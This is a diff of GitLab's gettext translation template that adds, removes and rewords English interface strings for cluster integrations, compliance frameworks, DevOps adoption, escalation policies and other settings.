@@ -5947,9 +5980,6 @@ msgstr ""
msgid "Cannot delete %{profile_name} referenced in security policy"
msgstr ""
-msgid "Cannot enable shared runners because parent group does not allow it"
-msgstr ""
-
msgid "Cannot have multiple Jira imports running at the same time"
msgstr ""
@@ -6055,15 +6085,15 @@ msgstr ""
msgid "Change path"
msgstr ""
-msgid "Change permissions"
-msgstr ""
-
msgid "Change reviewer(s)"
msgstr ""
msgid "Change reviewer(s)."
msgstr ""
+msgid "Change role"
+msgstr ""
+
msgid "Change status"
msgstr ""
@@ -6340,6 +6370,9 @@ msgstr ""
msgid "Checkout|Failed to load states. Please try again."
msgstr ""
+msgid "Checkout|Failed to load the payment form. Please try again."
+msgstr ""
+
msgid "Checkout|Failed to register credit card. Please try again."
msgstr ""
@@ -6442,9 +6475,6 @@ msgstr ""
msgid "Choose a group"
msgstr ""
-msgid "Choose a role permission"
-msgstr ""
-
msgid "Choose a template"
msgstr ""
@@ -6472,6 +6502,9 @@ msgstr ""
msgid "Choose specific groups or storage shards"
msgstr ""
+msgid "Choose the preferred Runner and populate the AWS CFT."
+msgstr ""
+
msgid "Choose the top-level group for your repository imports."
msgstr ""
@@ -6901,9 +6934,6 @@ msgstr ""
msgid "ClusterAgent|This feature is only available for premium plans"
msgstr ""
-msgid "ClusterAgent|This project is not included in the GitLab.com rollout for Kubernetes agent"
-msgstr ""
-
msgid "ClusterAgent|User has insufficient permissions to create a token for this project"
msgstr ""
@@ -6913,24 +6943,12 @@ msgstr ""
msgid "ClusterAgent|You have insufficient permissions to delete this cluster agent"
msgstr ""
-msgid "ClusterIntegration|%{appList} was successfully installed on your Kubernetes cluster"
-msgstr ""
-
-msgid "ClusterIntegration|%{boldStart}Note:%{boldEnd} Requires Ingress to be installed."
-msgstr ""
-
-msgid "ClusterIntegration|%{externalIp}.nip.io"
+msgid "ClusterApplicationsRemoved|One-click application management was removed in GitLab 14.0. Your applications are still installed in your cluster, and integrations continue working."
msgstr ""
msgid "ClusterIntegration|%{linkStart}More information%{linkEnd}"
msgstr ""
-msgid "ClusterIntegration|%{title} uninstalled successfully."
-msgstr ""
-
-msgid "ClusterIntegration|%{title} updated successfully."
-msgstr ""
-
msgid "ClusterIntegration|A cluster management project can be used to run deployment jobs with Kubernetes %{code_open}cluster-admin%{code_close} privileges."
msgstr ""
@@ -6964,15 +6982,6 @@ msgstr ""
msgid "ClusterIntegration|Advanced options on this Kubernetes cluster’s integration"
msgstr ""
-msgid "ClusterIntegration|All data not committed to GitLab will be deleted and cannot be restored."
-msgstr ""
-
-msgid "ClusterIntegration|All data will be deleted and cannot be restored."
-msgstr ""
-
-msgid "ClusterIntegration|All installed applications and related resources"
-msgstr ""
-
msgid "ClusterIntegration|Allow GitLab to manage namespace and service accounts for this cluster. %{linkStart}More information%{linkEnd}"
msgstr ""
@@ -6985,9 +6994,6 @@ msgstr ""
msgid "ClusterIntegration|Allows GitLab to query a specifically configured in-cluster Prometheus for metrics."
msgstr ""
-msgid "ClusterIntegration|Alternatively, "
-msgstr ""
-
msgid "ClusterIntegration|Amazon EKS"
msgstr ""
@@ -7009,9 +7015,6 @@ msgstr ""
msgid "ClusterIntegration|Any project namespaces"
msgstr ""
-msgid "ClusterIntegration|Any running pipelines will be canceled."
-msgstr ""
-
msgid "ClusterIntegration|Apply for credit"
msgstr ""
@@ -7030,15 +7033,6 @@ msgstr ""
msgid "ClusterIntegration|CA Certificate"
msgstr ""
-msgid "ClusterIntegration|Can be safely removed. Prior to GitLab 13.2, GitLab used a remote Tiller server to manage the applications. GitLab no longer uses this server. Uninstalling this server will not affect your other applications. This row will disappear afterwards."
-msgstr ""
-
-msgid "ClusterIntegration|Cert-Manager"
-msgstr ""
-
-msgid "ClusterIntegration|Cert-Manager is a native Kubernetes certificate management controller that helps with issuing certificates. Installing Cert-Manager on your cluster will issue a certificate by %{linkStart}Let's Encrypt%{linkEnd} and ensure that certificates are valid and up-to-date."
-msgstr ""
-
msgid "ClusterIntegration|Certificate Authority bundle (PEM format)"
msgstr ""
@@ -7060,9 +7054,6 @@ msgstr ""
msgid "ClusterIntegration|Choose the worker node %{linkStart}instance type%{linkEnd}."
msgstr ""
-msgid "ClusterIntegration|Choose which applications to install on your Kubernetes cluster."
-msgstr ""
-
msgid "ClusterIntegration|Choose which of your environments will use this cluster."
msgstr ""
@@ -7075,15 +7066,12 @@ msgstr ""
msgid "ClusterIntegration|Cluster Region"
msgstr ""
-msgid "ClusterIntegration|Cluster management project (alpha)"
+msgid "ClusterIntegration|Cluster management project"
msgstr ""
msgid "ClusterIntegration|Cluster name is required."
msgstr ""
-msgid "ClusterIntegration|Cluster_applications artifact too big. Maximum allowable size: %{human_size}"
-msgstr ""
-
msgid "ClusterIntegration|Clusters are utilized by selecting the nearest ancestor with a matching environment scope. For example, project clusters will override group clusters. %{linkStart}More information%{linkEnd}"
msgstr ""
@@ -7105,15 +7093,6 @@ msgstr ""
msgid "ClusterIntegration|Copy CA Certificate"
msgstr ""
-msgid "ClusterIntegration|Copy Ingress Endpoint"
-msgstr ""
-
-msgid "ClusterIntegration|Copy Jupyter Hostname"
-msgstr ""
-
-msgid "ClusterIntegration|Copy Knative Endpoint"
-msgstr ""
-
msgid "ClusterIntegration|Copy Kubernetes cluster name"
msgstr ""
@@ -7162,12 +7141,6 @@ msgstr ""
msgid "ClusterIntegration|Creating Kubernetes cluster"
msgstr ""
-msgid "ClusterIntegration|Crossplane"
-msgstr ""
-
-msgid "ClusterIntegration|Crossplane enables declarative provisioning of managed services from your cloud of choice using %{codeStart}kubectl%{codeEnd} or %{linkStart}GitLab Integration%{linkEnd}. Crossplane runs inside your Kubernetes cluster and supports secure connectivity and secrets management between app containers and the cloud services they depend on."
-msgstr ""
-
msgid "ClusterIntegration|Deletes all GitLab resources attached to this cluster during removal"
msgstr ""
@@ -7183,9 +7156,6 @@ msgstr ""
msgid "ClusterIntegration|Elastic Kubernetes Service"
msgstr ""
-msgid "ClusterIntegration|Elastic Stack"
-msgstr ""
-
msgid "ClusterIntegration|Enable Cloud Run for Anthos"
msgstr ""
@@ -7201,9 +7171,6 @@ msgstr ""
msgid "ClusterIntegration|Enable this setting if using role-based access control (RBAC)."
msgstr ""
-msgid "ClusterIntegration|Enabled stack"
-msgstr ""
-
msgid "ClusterIntegration|Enter new Service Token"
msgstr ""
@@ -7246,27 +7213,12 @@ msgstr ""
msgid "ClusterIntegration|Fetching zones"
msgstr ""
-msgid "ClusterIntegration|Fluentd"
-msgstr ""
-
-msgid "ClusterIntegration|Fluentd is an open source data collector, which lets you unify the data collection and consumption for a better use and understanding of data. It requires at least one of the following logs to be successfully installed."
-msgstr ""
-
msgid "ClusterIntegration|GitLab Agent managed clusters"
msgstr ""
-msgid "ClusterIntegration|GitLab Container Network Policies"
-msgstr ""
-
msgid "ClusterIntegration|GitLab Integration"
msgstr ""
-msgid "ClusterIntegration|GitLab Runner"
-msgstr ""
-
-msgid "ClusterIntegration|GitLab Runner connects to the repository and executes CI/CD jobs, pushing results back and deploying applications to production."
-msgstr ""
-
msgid "ClusterIntegration|GitLab failed to authenticate."
msgstr ""
@@ -7294,9 +7246,6 @@ msgstr ""
msgid "ClusterIntegration|HTTP Error"
msgstr ""
-msgid "ClusterIntegration|Helm release failed to install"
-msgstr ""
-
msgid "ClusterIntegration|If you are setting up multiple clusters and are using Auto DevOps, %{help_link_start}read this first%{help_link_end}."
msgstr ""
@@ -7306,18 +7255,6 @@ msgstr ""
msgid "ClusterIntegration|In order to view the health of your cluster, you must first enable Prometheus in the Integrations tab."
msgstr ""
-msgid "ClusterIntegration|Ingress"
-msgstr ""
-
-msgid "ClusterIntegration|Ingress Endpoint"
-msgstr ""
-
-msgid "ClusterIntegration|Ingress gives you a way to route requests to services based on the request host or path, centralizing a number of services into a single entrypoint."
-msgstr ""
-
-msgid "ClusterIntegration|Installing Ingress may incur additional costs. Learn more about %{linkStart}pricing%{linkEnd}."
-msgstr ""
-
msgid "ClusterIntegration|Instance cluster"
msgstr ""
@@ -7339,39 +7276,9 @@ msgstr ""
msgid "ClusterIntegration|Integrations allow you to use applications installed in your cluster as part of your GitLab workflow."
msgstr ""
-msgid "ClusterIntegration|Issuer Email"
-msgstr ""
-
-msgid "ClusterIntegration|Issuers represent a certificate authority. You must provide an email address for your Issuer."
-msgstr ""
-
-msgid "ClusterIntegration|Jupyter Hostname"
-msgstr ""
-
-msgid "ClusterIntegration|JupyterHub"
-msgstr ""
-
-msgid "ClusterIntegration|JupyterHub, a multi-user Hub, spawns, manages, and proxies multiple instances of the single-user Jupyter notebook server. JupyterHub can be used to serve notebooks to a class of students, a corporate data science group, or a scientific research group."
-msgstr ""
-
msgid "ClusterIntegration|Key pair name"
msgstr ""
-msgid "ClusterIntegration|Knative"
-msgstr ""
-
-msgid "ClusterIntegration|Knative Domain Name:"
-msgstr ""
-
-msgid "ClusterIntegration|Knative Endpoint:"
-msgstr ""
-
-msgid "ClusterIntegration|Knative domain name was updated successfully."
-msgstr ""
-
-msgid "ClusterIntegration|Knative extends Kubernetes to provide a set of middleware components that are essential to build modern, source-centric, and container-based applications that can run anywhere: on premises, in the cloud, or even in a third-party data center."
-msgstr ""
-
msgid "ClusterIntegration|Kubernetes cluster is being created..."
msgstr ""
@@ -7405,9 +7312,6 @@ msgstr ""
msgid "ClusterIntegration|Learn more about instance Kubernetes clusters"
msgstr ""
-msgid "ClusterIntegration|Legacy Helm Tiller server"
-msgstr ""
-
msgid "ClusterIntegration|Loading IAM Roles"
msgstr ""
@@ -7456,12 +7360,6 @@ msgstr ""
msgid "ClusterIntegration|No VPCs found"
msgstr ""
-msgid "ClusterIntegration|No deployment cluster found for this job"
-msgstr ""
-
-msgid "ClusterIntegration|No deployment found for this job"
-msgstr ""
-
msgid "ClusterIntegration|No instance type found"
msgstr ""
@@ -7504,9 +7402,6 @@ msgstr ""
msgid "ClusterIntegration|Please make sure that your Google account meets the following requirements:"
msgstr ""
-msgid "ClusterIntegration|Point a wildcard DNS to this generated endpoint in order to access your application after it has been deployed."
-msgstr ""
-
msgid "ClusterIntegration|Project cluster"
msgstr ""
@@ -7516,15 +7411,6 @@ msgstr ""
msgid "ClusterIntegration|Project namespace prefix (optional, unique)"
msgstr ""
-msgid "ClusterIntegration|Prometheus"
-msgstr ""
-
-msgid "ClusterIntegration|Prometheus is an open-source monitoring system with %{linkStart}GitLab Integration%{linkEnd} to monitor deployed applications."
-msgstr ""
-
-msgid "ClusterIntegration|Protect your clusters with GitLab Container Network Policies by enforcing how pods communicate with each other and other network endpoints. %{linkStart}Learn more about configuring Network Policies here.%{linkEnd}"
-msgstr ""
-
msgid "ClusterIntegration|Provider details"
msgstr ""
@@ -7561,24 +7447,6 @@ msgstr ""
msgid "ClusterIntegration|Removes cluster from project but keeps associated resources"
msgstr ""
-msgid "ClusterIntegration|Replace this with your own hostname if you want. If you do so, point hostname to Ingress IP Address from above."
-msgstr ""
-
-msgid "ClusterIntegration|Request to begin installing failed"
-msgstr ""
-
-msgid "ClusterIntegration|Request to begin uninstalling failed"
-msgstr ""
-
-msgid "ClusterIntegration|SIEM Hostname"
-msgstr ""
-
-msgid "ClusterIntegration|SIEM Port"
-msgstr ""
-
-msgid "ClusterIntegration|SIEM Protocol"
-msgstr ""
-
msgid "ClusterIntegration|Save changes"
msgstr ""
@@ -7591,9 +7459,6 @@ msgstr ""
msgid "ClusterIntegration|Search VPCs"
msgstr ""
-msgid "ClusterIntegration|Search domains"
-msgstr ""
-
msgid "ClusterIntegration|Search instance types"
msgstr ""
@@ -7642,15 +7507,9 @@ msgstr ""
msgid "ClusterIntegration|Select a region to choose a VPC"
msgstr ""
-msgid "ClusterIntegration|Select a stack to install Crossplane."
-msgstr ""
-
msgid "ClusterIntegration|Select a zone to choose a network"
msgstr ""
-msgid "ClusterIntegration|Select existing domain or use new"
-msgstr ""
-
msgid "ClusterIntegration|Select machine type"
msgstr ""
@@ -7675,9 +7534,6 @@ msgstr ""
msgid "ClusterIntegration|Select zone to choose machine type"
msgstr ""
-msgid "ClusterIntegration|Send Container Network Policies Logs"
-msgstr ""
-
msgid "ClusterIntegration|Service Token"
msgstr ""
@@ -7696,27 +7552,12 @@ msgstr ""
msgid "ClusterIntegration|Something went wrong while creating your Kubernetes cluster"
msgstr ""
-msgid "ClusterIntegration|Something went wrong while installing %{title}"
-msgstr ""
-
-msgid "ClusterIntegration|Something went wrong while trying to save your settings. Please try again."
-msgstr ""
-
-msgid "ClusterIntegration|Something went wrong while uninstalling %{title}"
-msgstr ""
-
-msgid "ClusterIntegration|Something went wrong while updating Knative domain name."
-msgstr ""
-
msgid "ClusterIntegration|Specifying a domain will allow you to use Auto Review Apps and Auto Deploy stages for %{linkStart}Auto DevOps.%{linkEnd} The domain should have a wildcard DNS configured matching the domain. "
msgstr ""
msgid "ClusterIntegration|Subnets"
msgstr ""
-msgid "ClusterIntegration|The %{gitlabNamespace} namespace"
-msgstr ""
-
msgid "ClusterIntegration|The Amazon Resource Name (ARN) associated with your role. If you do not have a provision role, first create one on %{startAwsLink}Amazon Web Services %{externalLinkIcon}%{endLink} using the above account and external IDs. %{startMoreInfoLink}More information%{endLink}"
msgstr ""
@@ -7726,24 +7567,6 @@ msgstr ""
msgid "ClusterIntegration|The URL used to access the Kubernetes API."
msgstr ""
-msgid "ClusterIntegration|The associated IP and all deployed services will be deleted and cannot be restored. Uninstalling Knative will also remove Istio from your cluster. This will not effect any other applications."
-msgstr ""
-
-msgid "ClusterIntegration|The associated Tiller pod will be deleted and cannot be restored. Your other applications will remain unaffected."
-msgstr ""
-
-msgid "ClusterIntegration|The associated load balancer and IP will be deleted and cannot be restored."
-msgstr ""
-
-msgid "ClusterIntegration|The associated private key will be deleted and cannot be restored."
-msgstr ""
-
-msgid "ClusterIntegration|The elastic stack collects logs from all pods in your cluster"
-msgstr ""
-
-msgid "ClusterIntegration|The endpoint is in the process of being assigned. Please check your Kubernetes cluster or Quotas on Google Kubernetes Engine if it takes a long time."
-msgstr ""
-
msgid "ClusterIntegration|The namespace associated with your project. This will be used for deploy boards, logs, and Web terminals."
msgstr ""
@@ -7774,9 +7597,6 @@ msgstr ""
msgid "ClusterIntegration|This will permanently delete the following resources:"
msgstr ""
-msgid "ClusterIntegration|To access your application after deployment, point a wildcard DNS to the Knative Endpoint."
-msgstr ""
-
msgid "ClusterIntegration|To create a cluster, first create a project on %{docsLinkStart}Google Cloud Platform%{docsLinkEnd}."
msgstr ""
@@ -7798,21 +7618,9 @@ msgstr ""
msgid "ClusterIntegration|Unable to Connect"
msgstr ""
-msgid "ClusterIntegration|Uninstall %{appTitle}"
-msgstr ""
-
msgid "ClusterIntegration|Unknown Error"
msgstr ""
-msgid "ClusterIntegration|Update %{appTitle}"
-msgstr ""
-
-msgid "ClusterIntegration|Update failed. Please check the logs and try again."
-msgstr ""
-
-msgid "ClusterIntegration|Use %{query}"
-msgstr ""
-
msgid "ClusterIntegration|Uses the Cloud Run, Istio, and HTTP Load Balancing addons for this cluster."
msgstr ""
@@ -7837,27 +7645,12 @@ msgstr ""
msgid "ClusterIntegration|You are about to remove your cluster integration."
msgstr ""
-msgid "ClusterIntegration|You are about to uninstall %{appTitle} from your cluster."
-msgstr ""
-
-msgid "ClusterIntegration|You are about to update %{appTitle} on your cluster."
-msgstr ""
-
msgid "ClusterIntegration|You must grant access to your organization’s AWS resources in order to create a new EKS cluster. To grant access, create a provision role using the account and external ID below and provide us the ARN."
msgstr ""
-msgid "ClusterIntegration|You must have an RBAC-enabled cluster to install Knative."
-msgstr ""
-
-msgid "ClusterIntegration|You must specify a domain before you can install Knative."
-msgstr ""
-
msgid "ClusterIntegration|You should select at least two subnets"
msgstr ""
-msgid "ClusterIntegration|Your Elasticsearch cluster will be re-created during this upgrade. Your logs will be re-indexed, and you will lose historical logs from hosts terminated in the last 30 days."
-msgstr ""
-
msgid "ClusterIntegration|Your account must have %{link_to_kubernetes_engine}"
msgstr ""
@@ -7873,12 +7666,6 @@ msgstr ""
msgid "ClusterIntegration|access to Google Kubernetes Engine"
msgstr ""
-msgid "ClusterIntegration|can be used instead of a custom domain. "
-msgstr ""
-
-msgid "ClusterIntegration|installed via %{linkStart}Cloud Run%{linkEnd}"
-msgstr ""
-
msgid "ClusterIntegration|meets the requirements"
msgstr ""
@@ -7951,6 +7738,9 @@ msgstr ""
msgid "Code owners"
msgstr ""
+msgid "Code review"
+msgstr ""
+
msgid "Code snippet copied. Insert it in the correct location in the YAML file."
msgstr ""
@@ -7966,9 +7756,15 @@ msgstr ""
msgid "CodeQuality|Code quality"
msgstr ""
+msgid "CodeQuality|Code quality: %{severity} - %{description}"
+msgstr ""
+
msgid "CodeQuality|New code quality degradations in this file"
msgstr ""
+msgid "CodeQuality|New code quality degradations on this line"
+msgstr ""
+
msgid "CodeQuality|Some changes in this file degrade the code quality."
msgstr ""
@@ -8265,9 +8061,6 @@ msgstr ""
msgid "ComplianceFrameworks|Add framework"
msgstr ""
-msgid "ComplianceFrameworks|All"
-msgstr ""
-
msgid "ComplianceFrameworks|Combines with the CI configuration at runtime."
msgstr ""
@@ -8304,9 +8097,6 @@ msgstr ""
msgid "ComplianceFrameworks|Once a compliance framework is added it will appear here."
msgstr ""
-msgid "ComplianceFrameworks|Regulated"
-msgstr ""
-
msgid "ComplianceFrameworks|There are no compliance frameworks set up yet"
msgstr ""
@@ -8325,42 +8115,9 @@ msgstr ""
msgid "ComplianceFramework|Edit Compliance Framework"
msgstr ""
-msgid "ComplianceFramework|GDPR"
-msgstr ""
-
-msgid "ComplianceFramework|GDPR - General Data Protection Regulation"
-msgstr ""
-
-msgid "ComplianceFramework|HIPAA"
-msgstr ""
-
-msgid "ComplianceFramework|HIPAA - Health Insurance Portability and Accountability Act"
-msgstr ""
-
msgid "ComplianceFramework|New Compliance Framework"
msgstr ""
-msgid "ComplianceFramework|PCI-DSS"
-msgstr ""
-
-msgid "ComplianceFramework|PCI-DSS - Payment Card Industry-Data Security Standard"
-msgstr ""
-
-msgid "ComplianceFramework|SOC 2"
-msgstr ""
-
-msgid "ComplianceFramework|SOC 2 - Service Organization Control 2"
-msgstr ""
-
-msgid "ComplianceFramework|SOX"
-msgstr ""
-
-msgid "ComplianceFramework|SOX - Sarbanes-Oxley"
-msgstr ""
-
-msgid "ComplianceFramework|This project is regulated by %{framework}."
-msgstr ""
-
msgid "Component"
msgstr ""
@@ -8379,6 +8136,9 @@ msgstr ""
msgid "Configuration help"
msgstr ""
+msgid "Configure %{link} to track events. %{link_start}Learn more.%{link_end}"
+msgstr ""
+
msgid "Configure GitLab runners to start using the Web Terminal. %{helpStart}Learn more.%{helpEnd}"
msgstr ""
@@ -8629,6 +8389,9 @@ msgstr ""
msgid "ContainerRegistry|Cleanup pending"
msgstr ""
+msgid "ContainerRegistry|Cleanup policies are now available for this project. %{linkStart}Click here to get started.%{linkEnd}"
+msgstr ""
+
msgid "ContainerRegistry|Cleanup policy for tags is disabled"
msgstr ""
@@ -8982,7 +8745,7 @@ msgstr ""
msgid "Control emails linked to your account"
msgstr ""
-msgid "Control the display of third party offers."
+msgid "Control whether to display third-party offers in GitLab."
msgstr ""
msgid "Cookie domain"
@@ -9021,6 +8784,9 @@ msgstr ""
msgid "Copy ID"
msgstr ""
+msgid "Copy IP Address"
+msgstr ""
+
msgid "Copy KRB5 clone URL"
msgstr ""
@@ -9087,6 +8853,9 @@ msgstr ""
msgid "Copy the code below to implement tracking in your application:"
msgstr ""
+msgid "Copy this registration token."
+msgstr ""
+
msgid "Copy this value"
msgstr ""
@@ -9327,9 +9096,6 @@ msgstr ""
msgid "Create blank project"
msgstr ""
-msgid "Create blank project/repository"
-msgstr ""
-
msgid "Create branch"
msgstr ""
@@ -9456,9 +9222,6 @@ msgstr ""
msgid "Create your group"
msgstr ""
-msgid "Create your own profile to collaborate with your teammates in issues, merge requests, and more."
-msgstr ""
-
msgid "Create/import your first project"
msgstr ""
@@ -9690,6 +9453,12 @@ msgstr ""
msgid "CredentialsInventory|SSH Keys"
msgstr ""
+msgid "Credit card validated at:"
+msgstr ""
+
+msgid "Credit card validated:"
+msgstr ""
+
msgid "Critical vulnerabilities present"
msgstr ""
@@ -9699,9 +9468,6 @@ msgstr ""
msgid "Cron time zone"
msgstr ""
-msgid "Crossplane"
-msgstr ""
-
msgid "Crowd"
msgstr ""
@@ -9717,9 +9483,6 @@ msgstr ""
msgid "Current forks will keep their visibility level."
msgstr ""
-msgid "Current node"
-msgstr ""
-
msgid "Current node must be the primary node or you will be locking yourself out"
msgstr ""
@@ -9795,6 +9558,9 @@ msgstr ""
msgid "Customizable by owners."
msgstr ""
+msgid "Customize CI/CD settings, including Auto DevOps, shared runners, and job artifacts."
+msgstr ""
+
msgid "Customize colors"
msgstr ""
@@ -10012,9 +9778,6 @@ msgstr ""
msgid "DAST Scans"
msgstr ""
-msgid "DAST Settings"
-msgstr ""
-
msgid "DNS"
msgstr ""
@@ -10081,6 +9844,18 @@ msgstr ""
msgid "Dashboard|Unable to add %{invalidProjects}. This dashboard is available for public projects, and private projects in groups with a Premium plan."
msgstr ""
+msgid "DastConfig|Customize DAST settings to suit your requirements. Configuration changes made here override those provided by GitLab and are excluded from updates. For details of more advanced configuration options, see the %{docsLinkStart}GitLab DAST documentation%{docsLinkEnd}."
+msgstr ""
+
+msgid "DastConfig|DAST Settings"
+msgstr ""
+
+msgid "DastConfig|Generate code snippet"
+msgstr ""
+
+msgid "DastConfig|Scan Configuration"
+msgstr ""
+
msgid "DastProfiles|A passive scan monitors all HTTP messages (requests and responses) sent to the target. An active scan attacks the target to find potential vulnerabilities."
msgstr ""
@@ -10440,9 +10215,6 @@ msgstr ""
msgid "Date range"
msgstr ""
-msgid "Date range cannot exceed %{maxDateRange} days."
-msgstr ""
-
msgid "Date range must be shorter than %{max_range} days."
msgstr ""
@@ -10467,6 +10239,9 @@ msgstr ""
msgid "Days to merge"
msgstr ""
+msgid "Deactivate dormant users after 90 days of inactivity. Users can return to active status by signing in to their account. While inactive, a user is not counted as an active user in the instance."
+msgstr ""
+
msgid "Deactivate this user"
msgstr ""
@@ -10500,7 +10275,7 @@ msgstr ""
msgid "Default"
msgstr ""
-msgid "Default CI configuration path"
+msgid "Default CI/CD configuration file"
msgstr ""
msgid "Default Timeout Period"
@@ -10620,6 +10395,9 @@ msgstr ""
msgid "Delete domain"
msgstr ""
+msgid "Delete file"
+msgstr ""
+
msgid "Delete image repository"
msgstr ""
@@ -11291,12 +11069,30 @@ msgstr ""
msgid "DevOps Report"
msgstr ""
+msgid "DevOps adoption"
+msgstr ""
+
+msgid "DevopsAdoption|%{adoptedCount}/%{featuresCount} %{title} features adopted"
+msgstr ""
+
msgid "DevopsAdoption|Add Group"
msgstr ""
msgid "DevopsAdoption|Add a group to get started"
msgstr ""
+msgid "DevopsAdoption|Add group"
+msgstr ""
+
+msgid "DevopsAdoption|Add group to table"
+msgstr ""
+
+msgid "DevopsAdoption|Add sub-group"
+msgstr ""
+
+msgid "DevopsAdoption|Add sub-group to table"
+msgstr ""
+
msgid "DevopsAdoption|Add/remove groups"
msgstr ""
@@ -11354,7 +11150,7 @@ msgstr ""
msgid "DevopsAdoption|DevOps adoption tracks the use of key features across your favorite groups. Add a group to the table to begin."
msgstr ""
-msgid "DevopsAdoption|Feature adoption is based on usage in the current calendar month. Last updated: %{timestamp}."
+msgid "DevopsAdoption|Feature adoption is based on usage in the previous calendar month. Last updated: %{timestamp}."
msgstr ""
msgid "DevopsAdoption|Filter by name"
@@ -11366,21 +11162,24 @@ msgstr ""
msgid "DevopsAdoption|MRs"
msgstr ""
-msgid "DevopsAdoption|Maximum %{maxSegments} groups allowed"
-msgstr ""
-
msgid "DevopsAdoption|My group"
msgstr ""
msgid "DevopsAdoption|No filter results."
msgstr ""
+msgid "DevopsAdoption|No results…"
+msgstr ""
+
msgid "DevopsAdoption|Not adopted"
msgstr ""
msgid "DevopsAdoption|Ops"
msgstr ""
+msgid "DevopsAdoption|Overall adoption"
+msgstr ""
+
msgid "DevopsAdoption|Pipelines"
msgstr ""
@@ -11414,6 +11213,9 @@ msgstr ""
msgid "DevopsAdoption|There was an error fetching Groups. Please refresh the page."
msgstr ""
+msgid "DevopsAdoption|This group has no sub-groups"
+msgstr ""
+
msgid "DevopsAdoption|You cannot remove the group you are currently in."
msgstr ""
@@ -11435,6 +11237,9 @@ msgstr ""
msgid "DevopsReport|Moderate"
msgstr ""
+msgid "DevopsReport|Overview"
+msgstr ""
+
msgid "DevopsReport|Score"
msgstr ""
@@ -11453,15 +11258,12 @@ msgstr ""
msgid "Didn't receive unlock instructions?"
msgstr ""
-msgid "Diff content limits"
+msgid "Diff files surpassing this limit will be presented as 'too large' and won't be expandable."
msgstr ""
msgid "Diff limits"
msgstr ""
-msgid "Diff view settings"
-msgstr ""
-
msgid "Difference between start date and now"
msgstr ""
@@ -11647,7 +11449,7 @@ msgstr ""
msgid "Display source"
msgstr ""
-msgid "Do not display offers from third parties within GitLab"
+msgid "Do not display offers from third parties"
msgstr ""
msgid "Do you want to remove this deploy key?"
@@ -11698,7 +11500,7 @@ msgstr ""
msgid "Don't paste the private part of the GPG key. Paste the public part which begins with '-----BEGIN PGP PUBLIC KEY BLOCK-----'."
msgstr ""
-msgid "Don't send usage data"
+msgid "Don't send service data"
msgstr ""
msgid "Don't show again"
@@ -11707,6 +11509,9 @@ msgstr ""
msgid "Done"
msgstr ""
+msgid "Dormant users"
+msgstr ""
+
msgid "Download"
msgstr ""
@@ -11923,9 +11728,6 @@ msgstr ""
msgid "Edit iteration"
msgstr ""
-msgid "Edit iteration cadence"
-msgstr ""
-
msgid "Edit public deploy key"
msgstr ""
@@ -11959,9 +11761,6 @@ msgstr ""
msgid "Editing"
msgstr ""
-msgid "Editor Lite instance is required to set up an extension."
-msgstr ""
-
msgid "Elapsed time"
msgstr ""
@@ -12022,6 +11821,9 @@ msgstr ""
msgid "Email display name"
msgstr ""
+msgid "Email from GitLab - email users right from the Admin Area. %{link_start}Learn more%{link_end}."
+msgstr ""
+
msgid "Email not verified. Please verify your email in Salesforce."
msgstr ""
@@ -12151,6 +11953,9 @@ msgstr ""
msgid "Enable Kroki"
msgstr ""
+msgid "Enable Mailgun event receiver"
+msgstr ""
+
msgid "Enable PlantUML"
msgstr ""
@@ -12160,13 +11965,16 @@ msgstr ""
msgid "Enable Pseudonymizer data collection"
msgstr ""
+msgid "Enable Registration Features"
+msgstr ""
+
msgid "Enable Repository Checks"
msgstr ""
msgid "Enable SSL verification"
msgstr ""
-msgid "Enable Seat Link"
+msgid "Enable Snowplow tracking"
msgstr ""
msgid "Enable Spam Check via external API endpoint"
@@ -12247,13 +12055,10 @@ msgstr ""
msgid "Enable mirror configuration"
msgstr ""
-msgid "Enable or disable Seat Link."
-msgstr ""
-
msgid "Enable or disable the Pseudonymizer data collection."
msgstr ""
-msgid "Enable or disable version check and usage ping."
+msgid "Enable or disable version check and service ping."
msgstr ""
msgid "Enable protected paths rate limit"
@@ -12271,6 +12076,9 @@ msgstr ""
msgid "Enable reCAPTCHA, Invisible Captcha, Akismet and set IP limits. For reCAPTCHA, we currently only support %{recaptcha_v2_link_start}v2%{recaptcha_v2_link_end}"
msgstr ""
+msgid "Enable service ping"
+msgstr ""
+
msgid "Enable shared runners for all projects and subgroups in this group."
msgstr ""
@@ -12286,9 +12094,6 @@ msgstr ""
msgid "Enable smartcn custom analyzer: Search"
msgstr ""
-msgid "Enable snowplow tracking"
-msgstr ""
-
msgid "Enable two-factor authentication"
msgstr ""
@@ -12298,9 +12103,6 @@ msgstr ""
msgid "Enable unauthenticated request rate limit"
msgstr ""
-msgid "Enable usage ping"
-msgstr ""
-
msgid "Enable version check"
msgstr ""
@@ -12430,6 +12232,9 @@ msgstr ""
msgid "Enter your password to approve"
msgstr ""
+msgid "Enterprise"
+msgstr ""
+
msgid "Environment"
msgstr ""
@@ -12595,9 +12400,6 @@ msgstr ""
msgid "Environments|Logs from %{start} to %{end}."
msgstr ""
-msgid "Environments|Managed apps"
-msgstr ""
-
msgid "Environments|More information"
msgstr ""
@@ -13078,7 +12880,7 @@ msgstr ""
msgid "Escalation policies"
msgstr ""
-msgid "Escalation policies are not supported for this project"
+msgid "Escalation policies must have at least one rule"
msgstr ""
msgid "EscalationPolicies|+ Add an additional rule"
@@ -13087,30 +12889,54 @@ msgstr ""
msgid "EscalationPolicies|A schedule is required for adding an escalation policy."
msgstr ""
+msgid "EscalationPolicies|A schedule is required for adding an escalation policy. Please create an on-call schedule first."
+msgstr ""
+
msgid "EscalationPolicies|Add an escalation policy"
msgstr ""
msgid "EscalationPolicies|Add escalation policy"
msgstr ""
+msgid "EscalationPolicies|Add policy"
+msgstr ""
+
+msgid "EscalationPolicies|Are you sure you want to delete the \"%{escalationPolicy}\" escalation policy? This action cannot be undone."
+msgstr ""
+
msgid "EscalationPolicies|Create an escalation policy in GitLab"
msgstr ""
+msgid "EscalationPolicies|Delete escalation policy"
+msgstr ""
+
msgid "EscalationPolicies|Edit escalation policy"
msgstr ""
+msgid "EscalationPolicies|Elapsed time must be greater than or equal to zero."
+msgstr ""
+
msgid "EscalationPolicies|Email on-call user in schedule"
msgstr ""
+msgid "EscalationPolicies|Escalation policies"
+msgstr ""
+
msgid "EscalationPolicies|Escalation rules"
msgstr ""
msgid "EscalationPolicies|Failed to load oncall-schedules"
msgstr ""
+msgid "EscalationPolicies|IF alert is not %{alertStatus} in %{minutes} %{then} THEN %{doAction} %{schedule}"
+msgstr ""
+
msgid "EscalationPolicies|IF alert is not %{alertStatus} in %{minutes} minutes"
msgstr ""
+msgid "EscalationPolicies|Remove escalation rule"
+msgstr ""
+
msgid "EscalationPolicies|Select schedule"
